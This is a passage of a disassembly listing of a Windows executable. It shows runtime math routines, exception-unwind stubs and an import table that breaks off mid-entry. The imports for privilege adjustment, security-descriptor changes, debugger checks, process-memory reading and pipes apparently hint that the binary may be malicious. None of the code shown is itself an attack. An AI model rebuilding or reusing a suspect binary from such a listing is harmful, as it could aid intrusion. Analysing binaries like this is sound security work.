--------------------------------------------------------------------------- loc_436024: ; CODE XREF: sub_435FD3+3Ej call sub_42F119 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh pop esi retn sub_435FD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436034 proc near ; CODE XREF: sub_435852+165p ; sub_436254+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_436234 cmp cx, 7FFFh jnb loc_436234 cmp dx, 0BFFDh ja loc_436234 cmp dx, 3FBFh ja short loc_43609D xor eax, eax jmp short loc_4360D7 ; --------------------------------------------------------------------------- loc_43609D: ; CODE XREF: sub_436034+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_4360BF inc [ebp+arg_0] test [esi+8], edx jnz short loc_4360BF xor eax, eax cmp [esi+4], eax jnz short loc_4360C1 cmp [esi], eax jnz short loc_4360C1 jmp loc_43622E ; --------------------------------------------------------------------------- loc_4360BF: ; CODE XREF: sub_436034+71j ; sub_436034+79j xor eax, eax loc_4360C1: ; CODE XREF: sub_436034+80j ; sub_436034+84j cmp cx, ax jnz short loc_4360E4 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_4360E4 cmp [ebx+4], eax jnz short loc_4360E4 cmp [ebx], eax jnz short loc_4360E4 loc_4360D7: ; CODE XREF: sub_436034+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_43624F ; --------------------------------------------------------------------------- loc_4360E4: ; CODE XREF: sub_436034+90j ; sub_436034+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_4360F4: ; CODE XREF: sub_436034+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_436148 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_436110: ; CODE XREF: sub_436034+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_4351E0 add esp, 0Ch test eax, eax jz short loc_43613B mov eax, [ebp+var_4] inc word ptr [eax] loc_43613B: ; CODE XREF: sub_436034+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_436110 loc_436148: ; CODE XREF: sub_436034+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_4360F4 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_43618B loc_436166: ; CODE XREF: sub_436034+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_436184 lea eax, [ebp+var_24] push eax call sub_43525F add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_436166 loc_436184: ; CODE XREF: sub_436034+136j cmp word ptr [ebp+arg_0], 0 jg short loc_4361C4 loc_43618B: ; CODE XREF: sub_436034+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_4361C4 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_4361A4: ; CODE XREF: sub_436034+184j test byte ptr [ebp+var_24], 1 jz short loc_4361AD inc [ebp+var_14] loc_4361AD: ; CODE XREF: sub_436034+174j lea eax, [ebp+var_24] push eax call sub_43528D dec ebx pop ecx jnz short loc_4361A4 cmp [ebp+var_14], 0 jz short loc_4361C4 or byte ptr [ebp+var_24], 1 loc_4361C4: ; CODE XREF: sub_436034+155j ; sub_436034+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_4361DB mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_436210 loc_4361DB: ; CODE XREF: sub_436034+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_43620D and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_436208 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_436202 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_436210 ; --------------------------------------------------------------------------- loc_436202: ; CODE XREF: sub_436034+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_436210 ; --------------------------------------------------------------------------- loc_436208: ; CODE XREF: sub_436034+1B5j inc [ebp+var_20+2] jmp short loc_436210 ; --------------------------------------------------------------------------- loc_43620D: ; CODE XREF: sub_436034+1ABj inc [ebp+var_24+2] loc_436210: ; CODE XREF: sub_436034+1A5j ; sub_436034+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_436234 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_43622E: ; CODE XREF: sub_436034+86j mov [esi+0Ah], ax jmp short loc_43624F ; --------------------------------------------------------------------------- loc_436234: ; CODE XREF: sub_436034+42j ; sub_436034+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_43624F: ; CODE XREF: sub_436034+ABj ; sub_436034+1FEj pop edi pop esi pop ebx leave retn sub_436034 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436254 proc near ; CODE XREF: sub_435381+440p ; sub_435852+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_453D70 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_4362CD jge short loc_43627C mov eax, [ebp+arg_4] mov ebx, offset dword_453ED0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_43627C: ; CODE XREF: sub_436254+16j cmp [ebp+arg_8], ecx jnz short loc_436287 mov eax, [ebp+arg_0] mov [eax], cx loc_436287: ; CODE XREF: sub_436254+2Bj cmp [ebp+arg_4], ecx jz short loc_4362CD push esi push edi loc_43628E: ; CODE XREF: sub_436254+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_4362C6 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_4362B9 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_4362B9: ; CODE XREF: sub_436254+57j push esi push [ebp+arg_0] call sub_436034 pop ecx pop ecx xor ecx, ecx loc_4362C6: ; CODE XREF: sub_436254+49j cmp [ebp+arg_4], ecx jnz short loc_43628E pop edi pop esi loc_4362CD: ; CODE XREF: sub_436254+14j ; sub_436254+36j pop ebx leave retn sub_436254 endp ; =============== S U B R O U T I N E ======================================= sub_4362D0 proc near ; CODE XREF: sub_4279FA+21p ; sub_435F6C+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4362F7 push esi call sub_4293A0 inc eax push eax call sub_4297B8 pop ecx test eax, eax pop ecx jz short loc_4362F7 push esi push eax call sub_42A5D0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4362F7: ; CODE XREF: sub_4362D0+7j ; sub_4362D0+1Aj xor eax, eax pop esi retn sub_4362D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_436300 proc near ; CODE XREF: sub_42ACCC+13p ; sub_42B527+23p jmp dword_437230 sub_436300 endp ; --------------------------------------------------------------------------- align 4 push dword ptr [ebp-10h] call sub_4290D0 pop ecx retn ; --------------------------------------------------------------------------- loc_436312: ; DATA XREF: sub_4155AAo mov eax, offset dword_438120 jmp loc_42B576 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436324: ; DATA XREF: sub_41985Do mov eax, offset dword_438144 jmp loc_42B576 ; --------------------------------------------------------------------------- align 10h loc_436330: ; DATA XREF: .text:0043816Co lea ecx, [ebp-24h] jmp sub_41B19E ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_41968F ; --------------------------------------------------------------------------- mov eax, [ebp-14h] and eax, 1 test eax, eax jz locret_436356 mov ecx, [ebp+8] jmp sub_41968F ; --------------------------------------------------------------------------- locret_436356: ; CODE XREF: .text:00436348j retn ; --------------------------------------------------------------------------- loc_436357: ; DATA XREF: sub_419913o mov eax, offset dword_438178 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_43636C: ; DATA XREF: sub_419B11o mov eax, offset dword_43819C jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436380: ; DATA XREF: .text:004381C4o lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436388: ; DATA XREF: .text:004381CCo lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436390: ; DATA XREF: .text:004381D4o lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4363A8: ; DATA XREF: .text:004381ECo lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4363B8: ; DATA XREF: .text:004381FCo lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4363D0: ; DATA XREF: .text:00438214o lea ecx, [ebp-3Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4363E8: ; DATA XREF: .text:0043822Co lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4363F8: ; DATA XREF: .text:0043823Co lea ecx, [ebp-4Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436400: ; DATA XREF: .text:00438244o lea ecx, [ebp-2Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_41968F ; --------------------------------------------------------------------------- loc_436418: ; DATA XREF: sub_419C4Eo mov eax, offset dword_438258 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1F4h] jmp sub_41B173 ; --------------------------------------------------------------------------- loc_43642F: ; DATA XREF: .text:00438280o lea ecx, [ebp-30h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_41B173 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F0h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-394h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-374h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-384h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-110h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-304h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-244h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-160h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-170h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-3A4h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-140h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-344h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-2C4h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-2E4h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-0E0h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-1A0h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-130h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-274h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-254h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-150h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-190h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-2D4h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-120h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-314h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-334h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_41968F ; --------------------------------------------------------------------------- lea ecx, [ebp-180h] jmp sub_41968F ; --------------------------------------------------------------------------- loc_4365D0: ; DATA XREF: .text:loc_41A08Bo mov eax, offset dword_4383F4 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_41B418 ; --------------------------------------------------------------------------- loc_4365E4: ; DATA XREF: sub_41B1F5o mov eax, offset dword_43848C jmp loc_42B576 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] jmp sub_42BA1B ; --------------------------------------------------------------------------- loc_4365F8: ; DATA XREF: sub_41B24Fo mov eax, offset dword_4384B0 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_42BA1B ; --------------------------------------------------------------------------- loc_43660C: ; DATA XREF: sub_41B2D9o mov eax, offset dword_4384F0 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_42BA1B ; --------------------------------------------------------------------------- loc_436620: ; DATA XREF: sub_41B332o mov eax, offset dword_438514 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_42BA1B ; --------------------------------------------------------------------------- loc_436634: ; DATA XREF: sub_41B38Ao mov eax, offset dword_438538 jmp loc_42B576 ; --------------------------------------------------------------------------- align 10h loc_436640: ; DATA XREF: sub_41B812o mov eax, offset dword_438588 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1Ch] jmp sub_420245 ; --------------------------------------------------------------------------- loc_436654: ; DATA XREF: sub_41F876o mov eax, offset dword_4385AC jmp loc_42B576 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-10h] jmp loc_426D16 ; --------------------------------------------------------------------------- loc_436668: ; DATA XREF: .text:004385D4o lea ecx, [ebp-20h] jmp loc_426D16 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_426D16 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_426D16 ; --------------------------------------------------------------------------- loc_436680: ; DATA XREF: sub_423C7Ao mov eax, offset dword_4385E8 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_41B418 ; --------------------------------------------------------------------------- loc_436694: ; DATA XREF: sub_4290DBo mov eax, offset dword_438648 jmp loc_42B576 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_42BA1B ; --------------------------------------------------------------------------- loc_4366A8: ; DATA XREF: sub_429135o mov eax, offset dword_438670 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_41B418 ; --------------------------------------------------------------------------- loc_4366BC: ; DATA XREF: sub_4291C3o mov eax, offset dword_438698 jmp loc_42B576 ; --------------------------------------------------------------------------- align 4 dd 24Eh dup(0) dword_437000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_424D65+139r ... dword_437004 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_424D65+58r ... dword_437008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_43700C dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameAdword_437010 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_424EAB+4Er dword_437014 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueAdword_437018 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_43701C dd 77DF08D5h ; resolved to->ADVAPI32.GetSecurityInfodword_437020 dd 77E215D9h ; resolved to->ADVAPI32.SetEntriesInAclAdword_437024 dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_437028 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_425092+88r ... align 10h dword_437030 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_409EE2+20r ... dword_437034 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409EE2+Fr ... dword_437038 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_424984+1Ar dword_43703C dd 7C80992Fh ; resolved to->KERNEL32.LocalFree ; sub_422335+95r ... dword_437040 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFile ; sub_402A3D+43r ... dword_437044 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_402A0E+1Ar ... dword_437048 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFile ; sub_402A3D+69r ... dword_43704C dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_41E7BE+83r ... dword_437050 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40A9FE+B9Er ... dword_437054 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_42352C+6Br dword_437058 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipe ; sub_4066E2+125r ... dword_43705C dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_405C99+B8r ... dword_437060 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_40A9FE+4C31r ... dword_437064 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_40541D+3D0r ... dword_437068 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40541D+51Fr ... dword_43706C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_40541D+508r ... dword_437070 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_40A7C5+24r ... dword_437074 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_430D9F+20Dr ... dword_437078 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_405C99+2E7r ... dword_43707C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40A9FE+29EAr ... dword_437080 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_437084 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_405C99+613r ... dword_437088 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_4079AA+477r ... dword_43708C dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_4079AA+275r dword_437090 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_40A9FE+1B2Dr ... dword_437094 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeAdword_437098 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_41BE01+247r dword_43709C dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameAdword_4370A0 dd 7C8643B5h ; resolved to->KERNEL32.Module32Nextdword_4370A4 dd 7C864230h ; resolved to->KERNEL32.Module32Firstdword_4370A8 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4370AC dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_4370B0 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4370B4 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40A9FE+A95r ... dword_4370B8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_427C81+17r dword_4370BC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42F91D+2Ar dword_4370C0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_4370C4 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4370C8 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingA ; sub_42521F+A7r ... dword_4370CC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_42C1D4+28r ... dword_4370D0 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_418FA1+D0r ... dword_4370D4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_4182BA+687r ... dword_4370D8 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_4182BA+62Er ... dword_4370DC dd 7C8024A7h ; resolved to->KERNEL32.ReleaseMutex ; sub_427DAA+89r dword_4370E0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4370E4 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_4370E8 dd 7C81F992h ; resolved to->KERNEL32.GlobalMemoryStatusExdword_4370EC dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatAdword_4370F0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_4370F4 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_42045F+3BAr dword_4370F8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_41D475+2Fr ... dword_4370FC dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_423C7A+3B7r ... dword_437100 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcess ; sub_43482B+1B9r dword_437104 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_437108 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_43710C dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_437110 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_437114 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_41EFEF+82r ... dword_437118 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_41FE3F+1A0r ... dword_43711C dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_437120 dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_437124 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThread ; sub_42003C+1Cr dword_437128 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_43712C dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_437130 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_437134 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_437138 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_43713C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_42A7D5+Dr dword_437140 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_437144 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_42810F+107r dword_437148 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_43714C dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_437150 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_437154 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_42E4EE+45r dword_437158 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_42DAEF+3Dr ... dword_43715C dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_437160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_431C83+14Fr ... dword_437164 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_42C226+28r ... dword_437168 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_402459+206r ... dword_43716C dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_437170 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4051EF:loc_4052F5r ... dword_437174 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_402675+1A7r ... dword_437178 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; sub_402CE9+27Fr ... dword_43717C dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_4032D2+1Fr ... dword_437180 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_402459+14Cr ... dword_437184 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40535C+16r ... dword_437188 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401A77+2r ... dword_43718C dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_418FA1+DBr ... dword_437190 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401B6E+2ABr ... dword_437194 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_42D008+51r ... dword_437198 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_42D3F9+120r ... dword_43719C dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_4371A0 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_435AE5+261r dword_4371A4 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_435AE5+B9r dword_4371A8 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_4371AC dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_4371B0 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_4371B4 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_4371B8 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_4334DD+12Dr dword_4371BC dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_4334DD+8Dr dword_4371C0 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4371C4 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_432F35+E1r dword_4371C8 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4371CC dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4371D0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4371D4 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_4371D8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_43291B+14r ... dword_4371DC dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_43235A:loc_4323B0r dword_4371E0 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_4320F7+6r dword_4371E4 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_4371E8 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_430D9F+14Dr ... dword_4371EC dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_430D9F+A7r dword_4371F0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4371F4 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_42F6FC+17Ar ... dword_4371F8 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4371FC dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_437200 dd 7C812F39h ; resolved 